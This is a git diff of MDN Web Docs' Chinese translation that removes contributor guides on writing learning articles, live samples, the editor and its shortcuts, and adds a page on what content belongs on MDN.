    Object type name所述对象的名字,例如String.fromCharCode就应该有String标签
    ECMAScript6 and Experimental在新版ECMAScript标准中增加的特性
    Deprecated不赞成使用的特性(那些不鼓励使用但仍然被浏览器支持的特性)
    Obsolete被废弃的特性(那些不再被浏览器支持的特性)
    others查看 MDN 标签规则 中其他可选标签
    -
  8. -
  9. 添加备注信息并保存你的修改。
  10. -
  11. 你做到了!
  12. -
-
-
- -

 

diff --git a/files/zh-cn/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/zh-cn/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html deleted file mode 100644 index 15c6f0b2ee..0000000000 --- a/files/zh-cn/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: 如何写文章帮助人们了解 Web -slug: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web -tags: - - MDN元数据 - - 学习社区 - - 指导 - - 贡献指南 -translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web ---- -
{{MDNSidebar}}
- -

MDN 的学习区是我们给新手开发者介绍 Web 概念的大本营。因为它的内容主要面对初学者,这是你分享知识,帮助新手逐渐了解 Web 的绝佳地点。确保新手开发者能够跟上这里的内容是很重要的,所以我们格外重视学习区。

- -

这篇文章解释了如何给学习区写文章。

- -

如何写学习社区的文章

- -

要开始贡献你的知识,只需点击绿色大按钮,然后按照下面的五个步骤。如果你想找点子,请看一下我们的团队 Trello

- - - -

这篇文章可能不会在正确的地方出现,但至少是在MDN上。如果你需要找人谈谈把它搬到正确的地方,请联系我们

- -

第一步:写两行

- -

你文章的第一句话需要总结一下你将要涉及的主题,第二句话应该更详细地介绍你要放在文章中的内容(项目)。例如:

- -
-

 {{glossary("HTML")}} 文件包含的结构和内容, {{Glossary("CSS")}}以及其他主要的Web技术,使内容看起来像你想要的那样。在本文中,我们将介绍这项技术是如何工作的,以及如何编写你自己的基本示例。

-
- -

注意示例如何简要说明CSS是用于样式化页面的核心Web技术。 这足以使读者很好地了解本文所涵盖的内容。

- -

因为学习区域的文章主要是针对初学者的,所以每篇文章都应该涵盖一个简单的主题,以免给读者带来太多的新信息。如果你不能在一句话中总结这篇文章,那么你可能在一篇文章中做得太多了!

- -

第二步:添加一个顶部框

- -

然后添加一个顶框,以帮助读者了解他们在学习过程中的位置。 这是“了解URL及其结构 ”顶部框的示例。 您可以在编写自己的文章时将其用作模型。

- - - - - - - - - - - - -
必要条件:您首先必须清楚Internet的工作方式,Web服务器是什么,与Web链接背后的所有概念。
目标:您将了解什么是URL以及它如何在Web上工作
- -
-
必要条件
-
读者首先必须知道什么东西才能读懂你的一篇文章?在有可能的状况下,让每一个前提条件链接到另一篇涵盖概念的学习领域的一篇文章(除了您写的是是一篇完全不需要首先先验知识的无比基础的文章)。
-
目标
-
这一章节粗略说明了您的读者在阅读学习这篇文章的过程中会学到(并学会)什么。这与一行程序有点不同;一行代码总结了文章的主题,而目标部分专门列出了读者在阅读文章过程中所希望完成的全部内容。
-
- -
-

注意:要创建此表,您可以复制并粘贴上面的示例表,或者使用MDN的编辑器 台式工具。如果选择使用table工具,则需要在默认的standard-table类之外特别添加learn-box CSS类。为此,当您创建或编辑表的属性时,请转到“Advanced”面板并将样式表类字段设置为“standard-table learn-box”。

-
- -

第三步:写一个完整的描述

- -

接下来,写一个更长的描述,提供更全面的文章概述,突出最重要的概念。不要忘记解释为什么读者要花时间来学习这个主题并阅读你的文章!

- -

第四步:更深一步

- -
当你完成了所有这些,你终于可以深入到主题。你可以根据自己的喜好来组织文章的这一部分(尽管您能够随时咨询我们的 设计指南)。这是你闪耀的机会!详细解释你要写的主题。提供指向完整参考文档的链接,详细解释该技术的工作原理,提供语法和用法细节,等等。由你决定 - -
-
- - - -

看一看我们的函数的前几节可重用代码块文章 ,有一些很好的描述部分。

- -

第五步:提供“主动学习”材料

- -

为了阐明本文并帮助读者更好地理解他们正在学习的内容,请确保提供练习、教程和需要完成的任务。通过让他们积极地、实际地使用和试验你文章中解释的概念,你可以帮助他们将信息“锁定”在大脑中。

- -

您可以选择在页面中直接包含这些示例作为 实时实例,或者直接链接到它们。 (如果它们不能作为实时实例。) 如果你有兴趣帮助创造这些有价值的东西 ,请参阅《创建一个交互式的练习来帮助学习网络》

- -

如果您不能提供到现有活动学习材料的链接(您不知道或者没有时间创建它们),那么您应该在文章中添加标记{{tag ("NeedsActiveLearning")}}。这样,其他贡献者就可以找到需要积极学习材料的文章,并可能帮助你找到它们。

- -

看看《主动学习:选择不同的元素》进行现场互动学习练习或者《主动学习: 玩转范围》或者另一种不同风格的练习,要求它们在本地下载模板并按照提供的步骤更改

- -

- -

                                                                                         

- -

第六步:查看文章,并放入学习区域导航菜单

- -

在你写完你的文章后,让我们知道,这样我们可以看一看,做一个回顾,并提出改进建议 。再次看看我们的 联系方式 板块以寻找最好的联系方式。

- -

完成文章的另一部分是把它放在学习区主导航菜单中。这个菜单是 LearnSidebar 宏生成的。 你需要特殊的权限来编辑,所以,再一次,让我们团队中的一个人把它添加进去。

- -

您至少应该将其添加到您的页面中,这是通过在页面顶部的段落中添加宏调用\{{LearnSidebar}}来完成的。

- - - -

推荐文章

- -

您想做出贡献,但是您不知道该写什么?

- -

学习社区维护了一个要写文章的Trello看板。随意挑选一个,然后开始去写吧!

diff --git "a/files/zh-cn/mdn/contribute/howto/\345\246\202\344\275\225\346\267\273\345\212\240\346\210\226\346\233\264\346\226\260\346\265\217\350\247\210\345\231\250\345\205\274\345\256\271\346\200\247\346\225\260\346\215\256/index.html" "b/files/zh-cn/mdn/contribute/howto/\345\246\202\344\275\225\346\267\273\345\212\240\346\210\226\346\233\264\346\226\260\346\265\217\350\247\210\345\231\250\345\205\274\345\256\271\346\200\247\346\225\260\346\215\256/index.html" deleted file mode 100644 index 8c0513d654..0000000000 --- "a/files/zh-cn/mdn/contribute/howto/\345\246\202\344\275\225\346\267\273\345\212\240\346\210\226\346\233\264\346\226\260\346\265\217\350\247\210\345\231\250\345\205\274\345\256\271\346\200\247\346\225\260\346\215\256/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 如何添加或更新浏览器兼容性数据 -slug: MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据 -translation_of: MDN/Contribute/Howto/Add_or_update_browser_compatibility_data ---- -
{{MDNSidebar}}

如果你有浏览器在兼容Web特性方面的信息 —— 或者有意愿并有能力做一些这方面的研究和/或实验 —— 你可以帮助更新MDN的浏览器兼容性数据库BCD)。

- - - -
-
哪些地方需要做?
-
-

在MDN上你有这几种方法可以帮助改进浏览器兼容性方面的信息:

- -
    -
  • 添加尚未收录在BCD仓库内的网页特性数据
  • -
  • 依据浏览器新版本的变更内容、现有数据中的更正错误,或者某项技术的特性之最新变更等信息来更新现有数据
  • -
  • 提交 pull requests 到 BCD issues filed on Github.
  • -
-
-
做这个任务你需要知道哪些知识?
-
做这个任务需要哪些步骤?
-
欲了解如何更新在GitHub上的组成BCD仓库的 JSON 文件的详细信息,请参见兼容性表格页面。如要了解我们特别寻求帮助的问题列表,请到 Github issues with the "Help Wanted" tag.
-
 
-
 
-
diff --git "a/files/zh-cn/mdn/contribute/howto/\345\255\246\344\271\240_\344\272\244\344\272\222_\345\234\250\347\272\277_\350\265\267\346\255\245_\345\274\200\345\247\213/index.html" "b/files/zh-cn/mdn/contribute/howto/\345\255\246\344\271\240_\344\272\244\344\272\222_\345\234\250\347\272\277_\350\265\267\346\255\245_\345\274\200\345\247\213/index.html" deleted file mode 100644 index 91b8a8640d..0000000000 --- "a/files/zh-cn/mdn/contribute/howto/\345\255\246\344\271\240_\344\272\244\344\272\222_\345\234\250\347\272\277_\350\265\267\346\255\245_\345\274\200\345\247\213/index.html" +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: 如何创建一个交互学习环境 -slug: MDN/Contribute/Howto/学习_交互_在线_起步_开始 -tags: - - MDN Meta - - 交互 - - 如何使用 - - 学习 - - 教程 -translation_of: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web ---- -
{{MDNSidebar}}

动态的内容对于学习 Web 来说是重要的。 她能让学习的人更加积极主动。 这可以是练习,实例,任务,评价等等。总之,任何有助于学习理解的东西都行。

- -

这儿还没有能够直接创建动态的实例内容。但是一些第三方工具可以帮助你创建(如: JSFiddleCodePenDabblet,等),你可以将其链接放在 MDN 文章中。另外,你可以使用 WebMaker 项目的 Thimble 来创造更加高级的内容。

- -

目前,MDN 虽然没有能够轻易创建动态实例内容的工具。不过,如果你是工程师,可以使用当前 MDN 提供的功能创建自定义的主动学习内容,下面内容将告诉你如何操作。

- -

MDN live samples

- -

MDN 有一个非常炫酷的功能:live samples。她是一种可以将 MDN 页面内任何 HTML, CSS, Javascript 代码等效执行的机制。在使用她以前,你最好通读一下 Using the live sample system,这是我们关于她的完整文档。虽然她很容易使用,不过通过阅读文档,你会学到一些奇淫巧技。

- -

有意思的是,将任何类型的工具或实例嵌入到 MDN 页面中都可以通过调教她轻松做到。

- -

隐藏代码

- -

通过实例创建主动学习内容的第一种方法是编辑要添加内容的页面。使用 Live Sample 功能创建内容,只构建你需要的功能,不要在乎代码的复杂度。当内容准备好之后,只需切换到编辑器视图,并用 class 为 hidden 的 {{HTMLElement('div')}} 来包围你的代码。这样代码就会隐藏,不过实例依然可以访问和显示。

- -

看看这个简单的代码:

- -
-

点击这个方块提供随机色,或者直接输入色值

- - -{{EmbedLiveSample('hidden_code_example', 120, 120)}}
- -

如果你使用 MDN 编辑器查看该页面代码,你会看到如下 HTML 代码:

- -
<div class="moreinfo">
-<p>Click on the following square to randomly change its color or just type an hexadecimal code color</p>
-
-<div class="hidden">
-<h4 id="hidden_code_example">hidden code example</h4>
-
-<h5 id="HTML">HTML</h5>
-
-<pre class="brush: html">
-&lt;div class="square"&gt;
-  #&lt;input class="color"&gt;
-&lt;/div&gt;</pre>
-
-<h5 id="CSS">CSS</h5>
-
-<pre class="brush: css">
-body {
-  padding: 10px;
-  margin : 0;
-}
-
-.square {
-  width  : 80px;
-  height : 80px;
-  padding: 10px;
-  background-color: black;
-  color: white;
-  text-align: center;
-}
-
-.color {
-  width: 60px;
-  text-transform: uppercase;
-}
-</pre>
-
-<h5 id="JS">JS</h5>
-
-<pre class="brush: js">
-function setColor(color) {
-  document.querySelector('.square').style.backgroundColor = '#' + color;
-  document.querySelector('.color').value = color;
-}
-
-function getRandomColor() {
-  var color = Math.floor(Math.random() * 16777215);
-  return color.toString(16);
-}
-
-function getInputColor() {
-  var value = document.querySelector('.color').value;
-  var color = Number('0x' + color);
-  if (color === +color) {
-    return color.toString(16);
-  }
-  return value;
-}
-
-document.addEventListener('click', function () {
-  setColor(getRandomColor());
-});
-
-document.addEventListener('keyup', function () {
-  setColor(getInputColor());
-});
-</pre>
-</div>
-
-\{{EmbedLiveSample('hidden_code_example', 120, 120)}}
-</div>
- -

你可以在 the Canvas API page 查看更多高级例子。

- -

外部代码

- -

前面的例子在你想嵌入主动学习内容时是可行的。不过,如果你想要处理更加复杂的代码,这个 hidden 的 {{HTMLElement('div')}} 就比较麻烦。

- -

另外种方案是将内容写入 MDN 页面,然后嵌入另一个页面中。为此,我们可以使用 {{TemplateLink("EmbedDistLiveSample")}} 替代{{TemplateLink("EmbedLiveSample")}} 。

- -

我们学习配置这个模拟远程代码嵌入的实例:

- -
-

点击这个方块提供随机色,或者直接输入色值

-{{EmbedLiveSample('The_example', 120, 120, '', 'MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web/distant_example')}}
- -

这下如果你继续使用 MDN 编辑器查看页面源码,将看不到隐藏元素。如果你需要看,则需要前往这个页面地址

- -

你可以在 HTML 表单教程中查看更多高级例子,那里可以使用表单尝试。

diff --git "a/files/zh-cn/mdn/contribute/howto/\346\210\220\344\270\272\344\270\200\345\220\215\346\265\213\350\257\225\347\211\210\350\257\225\351\252\214\345\221\230/index.html" "b/files/zh-cn/mdn/contribute/howto/\346\210\220\344\270\272\344\270\200\345\220\215\346\265\213\350\257\225\347\211\210\350\257\225\351\252\214\345\221\230/index.html" deleted file mode 100644 index 08693b3ff1..0000000000 --- "a/files/zh-cn/mdn/contribute/howto/\346\210\220\344\270\272\344\270\200\345\220\215\346\265\213\350\257\225\347\211\210\350\257\225\351\252\214\345\221\230/index.html" +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 如何成为一名测试版试验员 -slug: MDN/Contribute/Howto/成为一名测试版试验员 -tags: - - MDN Meta -translation_of: MDN/Contribute/Howto/Be_a_beta_tester ---- -
{{MDNSidebar}}
- -

随着MDN Kuma平台的开发人员不断地对站点进行更改,我们为那些选择成为测试版测试人员提供对这些新特性的早期访问。与任何“beta”测试一样,在某些情况下,一些功能可能无法正常工作。

- -

参与beta测试

- -
    -
  1. 登录MDN,在顶部导航栏点击你的用户名。
    - Shows location of the user's profile link in the top navigation
    - 随后跳转到你的资料页。
  2. -
  3. 点击编辑按钮。
    - Shows location of the button to edit a user's profile (which may vary depending on window dimensions
    - 随后在编辑模式下打开资料页。
  4. -
  5. 勾选复选框成为 Beta 测试者
    - Shows the location of the Beta Tester checkbox
  6. -
  7. 点击资料页底部的发布按钮
    - Shows the location of the Publish button on a user's profile page
  8. -
- -

退出Beta测试

- -
    -
  1. 登录MDN,在顶部导航栏点击你的用户名。随后会跳转到你的资料页。
  2. -
  3. 点击编辑按钮。随后在编辑模式下打开资料页。
  4. -
  5. 取消 Beta 测试者的复选框
  6. -
  7. 点击发布按钮.
  8. -
- -

对beta测试给予反馈

- -

你有两种方式可以对 beta 测试进行反馈:

- - - -
    -
  1. 如果你还没有账号,创建一个 Bugzilla 账号.
  2. -
  3. 打开 bug report in Bugzilla for MDN.
  4. -
  5. 在“摘要”字段中包含 “beta” 一词,帮助 MDN开发人员过滤和区分传入的 bug。.
  6. -
  7. 尽你所能填写 bug 报告. 越详细越好.
  8. -
  9. 点击提交按钮.
  10. -
- -

 

diff --git a/files/zh-cn/mdn/editor/basics/index.html b/files/zh-cn/mdn/editor/basics/index.html deleted file mode 100644 index d6435b8282..0000000000 --- a/files/zh-cn/mdn/editor/basics/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: 编辑器 UI 元素 -slug: MDN/Editor/Basics -tags: - - 指南 - - 新手 - - 编辑器 -translation_of: MDN/Editor/Basics ---- -

MDN内置 WYSIWYG(所见即所得)编辑器,目的就是让编辑工作变得更加轻松。你可以轻松地在网站各处创建、编辑、修改文章或其他页面。 编辑器界面如下所示,包含八个关键区域。本指南将提供每个区域的介绍,以便您了解如何使用整个编辑环境。

- -
-

我们不断努力改进MDN,所以有时候本指南或下面的屏幕截图可能会稍微过时。不过,我们会定期更新此文档,以避免其无法使用。

-
- -

Screenshot of the editor UI (August 2017) with each section labeled

- -

上图所示的编辑器各个UI区域已罗列在下表中,点击下面的链接来了解每个部分。

- - - -

修订注释

- -

我们强烈建议你每次编辑完成后要附上对修改的注释(修订注释)。这些注释将被保存到页面的修订历史中,就像这个修订看板。这将有助于向复核你修改的人提供解释说明。想要添加修订意见也很简单,只要在发布之前,在修订意见框中填入注释即可。

- -

这么做的好处:

- - - -

复核请求

- -

MDN社区使用复核来追踪和提高MDN内容的质量。通过在文章页面上设置特定标志来表示这篇文章需要审查复核。你可以在 MDN 使用指南中了解更多关于技术复核文法复核的知识。

- -

想要申请对你所做的文章进行复核,只需勾选对应复核类型前面的复选框即可。任何对技术方面的修改,都应申请技术复核,当然,如果你申请文法复核,想找个人来检查你的写作和样式,那也是极好的。

- -

当申请复核后,文章将会被添加到需要技术复核需要文法复核列表,但这并不能保证会立马有人来复核你的文章。对于技术复核,最好直接联系相关技术领域的学科专家。对于编辑评论,您可以在 MDN 论坛中发帖以请求其他人来复核你的更改。

- -

 

- -

在勾选申请复核之后,请务必点击一下发布按钮,这样才能提交复核请求。

- -

参阅

- - - - diff --git a/files/zh-cn/mdn/editor/basics/page_controls/index.html b/files/zh-cn/mdn/editor/basics/page_controls/index.html deleted file mode 100644 index 48175fd7c8..0000000000 --- a/files/zh-cn/mdn/editor/basics/page_controls/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: MDN 编辑器页面控件 -slug: MDN/Editor/Basics/Page_controls -tags: - - 指南 - - 编辑器 -translation_of: MDN/Editor/Basics/Page_controls ---- -
{{MDNSidebar}}
- -

页面控件由对整个页面起作用的按钮组成,为了减少多余的滚动,页面控件在编辑器的顶部和底部都可见。一共有四个页面控制按钮:

- -
-

如果你编写的页面符合 MDN 的要求,而编辑器却不能保存成功,你可以电子邮件联系开发团队寻求帮助。

-
- -
-
发布并继续编辑
-
点击这个按钮,会在不关闭编辑器的前提下保存并发布页面。这样你就可以定期保存编辑工作,在页面修订历史中创建存档,这些存档说不定以后会用到。在创建新页面时这个按钮是不可用。查看修订注释框以了解如何在保存文章时添加修订注释。
-
发布
-
点击该按钮,将保存并发布你的文章,同时关闭编辑器,浏览器跳转到标准模式下的页面。查看修订注释框以了解如何在保存文章时添加修订注释。
-
预览
-
点击这个按钮将打开新的页面或窗口,以发布的样式展示编辑器中的内容,其中的宏指令模板都如实展示。值得注意的是,此时你的文章并没有被保存。这个按钮的作用,就是在文章发布前检查实际页面效果的,如果出现脚本错误,请参阅预览页面时排除脚本错误
-
-
-

警告: Currently some macros and templates don't execute properly in Preview-mode, leaving the Preview page missing some of its content (such as sidebars), and thus with somewhat distorted page layout; i.e. not totally WYSIWYG. Further, if SCAYT is enabled (and possibly if the page contains certain valid macros or templates), Preview mode may still give a scripting error.

-
-
-

- 放弃
-
这个按钮的功能就是取消编辑,放弃所有未曾保存的更改。页面将会跳转回上个页面。
-
-
-

警告: Occasionally Discard can malfunction and start acting more like a partial "discard," undoing many of your changes without exiting the editor. If this happens to you, you should save, exit, and re-enter the editor.

-
-
-
diff --git a/files/zh-cn/mdn/editor/basics/page_info/index.html b/files/zh-cn/mdn/editor/basics/page_info/index.html deleted file mode 100644 index 54be30c0cf..0000000000 --- a/files/zh-cn/mdn/editor/basics/page_info/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 编辑器 UI 的页面信息区域 -slug: MDN/Editor/Basics/Page_info -tags: - - 指南 - - 新手 - - 编辑器 -translation_of: MDN/Editor/Basics/Page_info ---- -
{{MDNSidebar}}
- -

页面信息区域包含了本页面的信息,但也可以扩展开来以提供额外的页面控件。

- -

现有页面

- -

默认情况下,编辑现有页面时,页面信息区域会显示页面标题。

- -

你可以点击编辑标题和属性按钮来打开更多页面控件。如下图:

- -

Page info fields for an existing article

- -

这里可以对下列内容进行设置:

- -
-
标题
-
标题会显示在浏览器的标题栏(或标签栏)、面包屑导航栏中,以及文章的顶部。但它不会出现在页面的URL中。
-
目录
-
指定文章中次级标题的级别深度,次级标题会自动生成目录展示在页面上。默认情况下,这里填的是从 <h2> 到 <h4> ,也就是有三级深度。当然,你也可以根据需要自由选择,比如,“没有目录”(不显示目录,如登陆页),或者“所有级别”。
-
最大渲染时长
-
确定页面自动刷新的频率。在绝大多数情况下,设置为零。
-
查找
-
对于已本地化的页面,这个字段可以帮助重新关联变成“孤儿”的页面(脱离英文原版的页面)。对于英语页面来讲,这个字段用处不大,因为,英语是 MDN 的官方语言。
-
- -

新页面

- -

如果你拥有创建页面权限,你就可以创建新的页面了。查看如何创建和编辑页面你可以了解到更多这方面的知识。对于创建新页面,页面信息区域看起来如下图:

- -

Page info fields for a new page

- -

你同样可以设置标题目录,还可以设置页面的别名,别名用于页面URL地址的最后一个部分。以只读状态显示的父地址是页面URL中网站根节点之后的部分。当你在标题输入框中输入文字的时候,别名输入框会自动生成对应的内容,其中会用下划线替代标题中的空格。

- -
-

值得注意的是,我们推荐使用更短的别名和描述更清晰的标题。举例来说,一个关于编辑器页面控件的页面,应该取一个例如:“MDN 编辑器页面控件”的标题,而它的 URL 应该写成“MDN/Contribute/Editor/Basics/Page_controls”,其中“Page_controls”正是这个页面的别名。

-
- -

 

diff --git a/files/zh-cn/mdn/editor/edit_box/index.html b/files/zh-cn/mdn/editor/edit_box/index.html deleted file mode 100644 index de23593df5..0000000000 --- a/files/zh-cn/mdn/editor/edit_box/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: MDN 编辑器的编辑框 -slug: MDN/Editor/Edit_box -tags: - - MDN - - 快捷键 - - 编辑器 - - 编辑框 -translation_of: MDN/Editor/Keyboard_shortcuts ---- -

编辑框正是你写文章的地方,在编辑框中点击右键会根据你点击的位置打开对应的快捷菜单,比如:在表格中点击右键会弹出与编辑表格相关的菜单,在列表中右击就会弹出与列表相关的菜单。

- -

默认情况下,编辑器会用自己的右键菜单替代浏览器默认的菜单,如果你一定要打开浏览器的默认菜单(比如,使用火狐的拼写检查功能),你可以按住 Shift 或 Control 键( Mac 的 Command 键),再点击右键。

- -

快捷键

- -

丰富而便捷的键盘快捷键能让你在编辑时,手不离开键盘。此处所列的是 Windows 或 Linux 系统下的快捷键,如果是 Mac,只需将 Control 替换为 Command 即可。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
快捷键描述
Ctrl + A全选
Ctrl + C复制
Ctrl + V粘贴
Ctrl + Shift + V粘贴为纯文本
Ctrl + X剪切
Ctrl + Z撤销
Ctrl + Y重做
Ctrl + K打开链接编辑器/添加新链接
Ctrl + Shift + K移除光标所在位置的链接
Ctrl + B加粗
Ctrl + I斜体
Ctrl + O切换 <code> 样式
Ctrl + Shift + O -

切换源码编辑模式

- -
使用源码编辑模式时请格外小心,你必须按照既定的格式来编辑。请仔细阅读编辑器源码模式指南,该指南详细介绍了如何使用源码模式,以及各项注意事项。
-
Ctrl + P切换当前区域的 <pre> 样式
Ctrl + U下划线
Ctrl + S保存但不关闭编辑器
Ctrl + Shift + S保存并关闭编辑器
Ctrl + 0移除选中区域的样式(此处是数字“0”,不是字母“O”)
Ctrl + 2  至  Ctrl + 6切换标题的级别(从 2 到 6 ),一级标题仅可供文章头部的页面标题使用。
Ctrl + Shift + L在无序列表、有序列表和普通段落格式之间切换。
Tab在缩进模式下增加缩进级别,否则插入两个空格作为制表符。在表格内部,将光标移动到下一个单元格,或者在没有下一个单元格的情况下插入新行。如果光标当前位于页面标题或某个标题中,则光标跳转到下一段。
Shift + Tab在缩进模式下降低缩进水平。在表格内部,跳到前一个单元格,如果前面没有单元格,则插入新行。如果光标当前位于页面标题或某个标题中,则光标跳转到下一段。
Shift + Space插入空格(&nbsp;)
Shift + Enter -

跳出当前区域。例如,如果你当前正在某个 <pre> 区域,按下 Shift + Enter ,你将跳出这个区域,回到文章正文。

- -
-

当前不可用,详见:{{bug('780055')}}。

-
-
- -

参阅

- - - -
{{MDNSidebar}}
diff --git a/files/zh-cn/mdn/editor/index.html b/files/zh-cn/mdn/editor/index.html deleted file mode 100644 index 02f71ade9f..0000000000 --- a/files/zh-cn/mdn/editor/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: MDN 编辑指南 -slug: MDN/Editor -tags: - - MDN - - 指南 - - 文档 -translation_of: MDN/Editor ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/zh-CN/docs/MDN")}}
- -

MDN Web Docs wiki 文档系统的 WYSIWYG (所见即所得)编辑器让贡献新的内容变得简单。这篇指南将告诉你如何使用它,借此来提高你的生产力。在编辑或新建新的页面之前,请阅读并遵守 Mozilla 条款

- -

MDN 样式指南 除了告诉你如何进行格式化和样式化内容本身外,还包括我们推荐的语法和拼写规则。

- -

{{LandingPageListSubpages}}

- -

{{EditorGuideQuicklinks}}

diff --git a/files/zh-cn/mdn/editor/source_mode/index.html b/files/zh-cn/mdn/editor/source_mode/index.html deleted file mode 100644 index 660f88267e..0000000000 --- a/files/zh-cn/mdn/editor/source_mode/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: 源码模式 -slug: MDN/Editor/Source_mode -translation_of: MDN/Editor/Source_mode ---- -
{{MDNSidebar}}
- -

MDN 编辑器有个重要的按键,用来切换到源码编辑模式。此模式下,你可以看到正在编辑的文章的 HTML。这个指引使你了解 MDN wiki 源码编辑模式做什么,什么应该做,但更为重要的是,什么是不应该做的。

- -
-

在你考虑使用源码模式之前,请注意我们强烈建议你不要使用源码模式。如果您只是为了强行符合我们的样式规范,你不应该去使用源码模式。我们确实有一些需求不启用源码模式无法做到。记得查看{{anch("Warnings and caveats")}}。

-
- -

启用源码模式

- -

启用源码模式很简单。在编辑器工具栏的左上角,点击“Source”或“原始碼”按钮。

- -

Partial screenshot of the editor toolbar, with the Source mode button highlighted

- -

对于格式化、图片之类的功能,很可能源码模式没有 WYSIWYG (所见即所得)好用,因为你可能需要滚动很远才能找到编辑器中相关源码的位置。

- -

警告

- -

综上所述,你应该极少会需要用到源码模式。只有一些极个别的事情才必须由修改源码实现。最终,我们会更新编辑器界面,为你展示你的修改。

- -

MDN贡献者指南中未明确描述的所有内容均不应添加到源代码中。这意味着:

- - - -

源码模式下编辑

- -

一旦启用源码模式,你将可以编辑 wiki 页面的原始 HTML。虽不受编辑器约束,您应竭尽所能保持您的工作与样式指南一致,并且可以安全可靠的工作。

- -
-

通常,您应该是在源码模式中做一些短暂的调整,而不是长时间的撰写页面。

-
- -

不幸的是,Tab 键在源码模式中无法使用,请输入两个空格来代替。

- -

若您使用 MDN 不允许的 HTML 元素和属性,它们会在你保存时直接被移除。此外,文档还将重新被格式化,以使之符合预期。

- -

合理使用源码模式

- -

在一些个别的情况下,使用源码是唯一能遵循MDN格式规范的方式。这一节涵盖了这些情况,并说明了如何在不破坏其他东西的前提下,正确使用这些功能。

- -

在示例代码中高亮代码行

- -

在用工具栏的块组中的PRESyntax Highlighter建立的示例代码片段块中,你会希望让某几行代码更引人注目一些。唯一实现这种事项的方式是开启源码模式,找到包含此部分代码的{{HTMLElement("pre")}}块,然后编辑<pre>标签的{{htmlattrxref("class")}}属性,加上一个highlight组件,像下面这种格式:

- - - -

例如,如果现在的标签为<pre class="brush: js">,然后你想往第4行和第7行加个高亮,你可把它改为<pre class="brush:js; highlight:[4,7]">

- -

我们看个更复杂的示例:

- - - - - - - - - - - - - - -
高亮前高亮后
-
-var canvas = document.getElementById("canvas");
-var ctx = canvas.getContext("2d");
-
-var path1 = new Path2D();
-path1.rect(10, 10, 100, 100);
-
-var path2 = new Path2D(path1);
-path2.moveTo(220, 60);
-path2.arc(170, 60, 50, 0, 2 * Math.PI);
-
-ctx.stroke(path2);
-
- -

这里的{{HTMLElement("pre")}}标签为:<pre class="brush: js">

-
-
-var canvas = document.getElementById("canvas");
-var ctx = canvas.getContext("2d");
-
-var path1 = new Path2D();
-path1.rect(10, 10, 100, 100);
-
-var path2 = new Path2D(path1);
-path2.moveTo(220, 60);
-path2.arc(170, 60, 50, 0, 2 * Math.PI);
-
-ctx.stroke(path2);
- -

然后这里的<pre>标签已经改为了:<pre class="brush: js; highlight:[4,7]">

-
- -

没有对应工具栏按钮的样式

- -

MDN上我们用的一些样式通过通常的用户界面是无法实现的。好消息是,这些不是很常见。示例如:

- - diff --git a/files/zh-cn/mdn/guidelines/content_blocks/index.html b/files/zh-cn/mdn/guidelines/content_blocks/index.html deleted file mode 100644 index b2b145fe60..0000000000 --- a/files/zh-cn/mdn/guidelines/content_blocks/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 内容块 -slug: MDN/Guidelines/Content_blocks -translation_of: MDN/Guidelines/CSS_style_guide -translation_of_original: MDN/Structures/Content_blocks ---- -
{{MDNSidebar}}
-

This pages lists reusable content blocks.

-
-

Card-grid

-

Allows to have a couple of cards next to each other to call out specific contents or can be used for a call to action. CSS class: .card-grid (L 751 - 824 in CustomCSS).

- -

Two columns

-

Two columns seperated with a thick grey border. Often used on landing pages. CSS class: .topicpage-table (L 830 - 837 & 82-93 in CustomCSS).

-
-
- Column 1
-
- Column 2
-
-

 

-

Equal column heights

-

Used on the Firefox OS landing page to wrap columns that should all be the same height. CSS class .equalColumnHeights (L 25 - 38 in CustomCSS).

-
-
- Some text
- And a new line
-  
-
- Some more text
-
-
- here
-
-

 

diff --git a/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html b/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html new file mode 100644 index 0000000000..1f40cc49b8 --- /dev/null +++ b/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html @@ -0,0 +1,193 @@ +--- +title: MDN收录规则 +slug: MDN/Guidelines/Rules_Of_MDN_Documenting +translation_of: MDN/Guidelines/Does_this_belong_on_MDN +--- +
{{MDNSidebar}}
{{IncludeSubnav("/zh-CN/docs/MDN")}}
+ +

如果你正准备记录什么信息,你可能想知道是否要将这些信息放入MDN。 更进一步地,你可能想在你的源代码中维护文档,并将文档写入Mozilla wiki,或者写入某Git仓库的readme文件中。 本文的目的是帮助你确认你的内容是否适合MDN。

+ +

文档是否应放入MDN主要取决于两点:

+ + + +
+

注意Mozilla的 Websites & Communications Terms of Use 所声明的条例在你使用MDN或对其做贡献时是生效的。检查这个文档,确保你知道在Mozilla的网站上什么是能发表的,什么是不能发表的。

+
+ +

哪些话题在MDN的范畴内?

+ +

MDN涉及了惊人的各种材料。总的来说,如果它是开放的面向Web的技术,或者是Mozilla的产品,我们就把它收录到MDN。但也有一小部分东西完全不属于MDN。这一节会告诉你如何确认你的文档是否属于MDN。

+ +

这里有一些我们涉及的事物;虽然这不是一个完整的列表,但是可以给你一个大致的印象。

+ +

开放的Web标准与技术

+ +

